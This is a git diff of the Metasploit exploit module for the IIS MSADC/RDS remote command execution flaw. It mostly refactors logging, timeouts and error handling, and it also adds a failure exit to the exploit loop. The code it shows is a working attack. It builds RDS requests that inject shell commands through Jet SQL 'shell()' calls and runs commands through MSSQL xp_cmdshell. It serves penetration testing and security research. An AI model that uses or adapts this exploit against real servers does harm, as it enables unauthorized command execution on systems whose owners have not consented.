diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 53bd669ec7..12dfd0ed08 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -66,7 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]), OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]), - OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]), OptString.new('DBHOST', [ true, "The SQL Server host", 'local']), OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), @@ -78,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => datastore['PATH'], 'method' => 'GET', - }, 20) + }) if (res.code == 200) print_status("Server responded with HTTP #{res.code} OK") if (res.body =~ /Content-Type: application\/x-varg/) @@ -95,12 +94,10 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => req, - }, 20) + }) - if (res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) - if (datastore['VERBOSE']) - print_error("DSN CREATE failed for drive #{drive} with #{dsn}.") - end + if (res and res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) + vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.") return false elsif (res.code == 200 and res.body =~ /

Datasource creation successful<\/H2>/) print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!") @@ -108,20 +105,19 @@ class Metasploit3 < Msf::Exploit::Remote end end - def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB + def exec_cmd(sql, cmd, d) boundary = rand_text_alphanumeric(8) method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" - dsn = Rex::Text.to_unicode(b) - if (b =~ /driver=\{SQL Server\}/) - select = Rex::Text.to_unicode(a + '"' + c + '"') - elsif (c.nil?) - select = Rex::Text.to_unicode(a) + dsn = Rex::Text.to_unicode(d) + if (d =~ /driver=\{SQL Server\}/) + select = Rex::Text.to_unicode(sql + '"' + cmd + '"') + elsif (cmd.nil?) + select = Rex::Text.to_unicode(sql) else - select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'") - end - if (datastore['VERBOSE']) - print_status("Attempting to request: #{select} on #{dsn}") + select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'") end + + vprint_status("Attempting to request: #{select} on #{d}") query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" @@ -148,50 +144,54 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => data, - }, 20) + }) response = Rex::Text.to_ascii(res.body, 'utf-16be') if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) - print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE']) - return true, a, b + vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}") + return true, sql, d elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) print_error("Exploit failed: the server is patched") break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) - print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) - print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but the drive and path is incorrect.") elsif (response =~ /Disk or network error./) - print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable but the driver letter doesn't physically exist.") elsif (response =~ /Syntax error in CREATE TABLE statement/) - print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") elsif (response =~ /Table '(\w+)' already exists/) - print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") elsif (response =~ /Syntax error \(missing operator\) in query expression/) - print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") elsif (response =~ /Too few parameters. Expected 1/) print_good("Command was probably executed!") elsif (response =~ /Data source name not found and no default driver specified/) - print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.") elsif (response =~ /Couldn't find file/) - print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the requested .mdb file does not exist.") elsif (response =~ /Specified SQL server not found/) - print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE']) + vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") + elsif (response =~ /Server does not exist or access denied/) + vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied") elsif (response =~ /General error Unable to open registry key/) - print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE']) + vprint_error("Server error (possible misconfiguration): Unable to open registry key ") elsif (response =~ /It is in a read-only database/) - print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the requested .mdb is READ-ONLY") elsif (response =~ /Invalid connection/) - print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the MSSQL database says Invalid connection") elsif (response =~ /\[SQL Server\]Login failed for user/) - print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE']) + vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") + elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/) + vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!") elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '""
' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique. - print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE']) + vprint_error("Server accepted request however it failed for reasons unknown.") elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? - print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE']) + vprint_error("Unknown reply - but the command didn't execute") else - print_status("Unknown reply - server is likely patched:\n#{response}") + vprint_status("Unknown reply - server is likely patched:\n#{response}") end return false end @@ -201,14 +201,14 @@ class Metasploit3 < Msf::Exploit::Remote boundary = rand_text_alphanumeric(8) if (datastore['NAME']) # Obtain the hostname if true - + data = "ADCClientVersion:01.06\r\n" data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', - 'agent' => 'ACTIVEDATA', + 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', + 'agent' => 'ACTIVEDATA', 'headers' => { 'Content-Length' => data.length, @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => data, - }, 20) + }) if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname print_good("Hostname: #{$1}") @@ -312,6 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Step 8: Trying SQL xp_cmdshell method...") ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) return ret if (ret) + + return -1 end def exploit @@ -319,6 +321,9 @@ class Metasploit3 < Msf::Exploit::Remote x = false until (x) x,y,z =find_exec + if (x == -1) + break + end end if (x == true) @@ -412,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => uri, 'method' => 'GET', - }, 20) + }) end end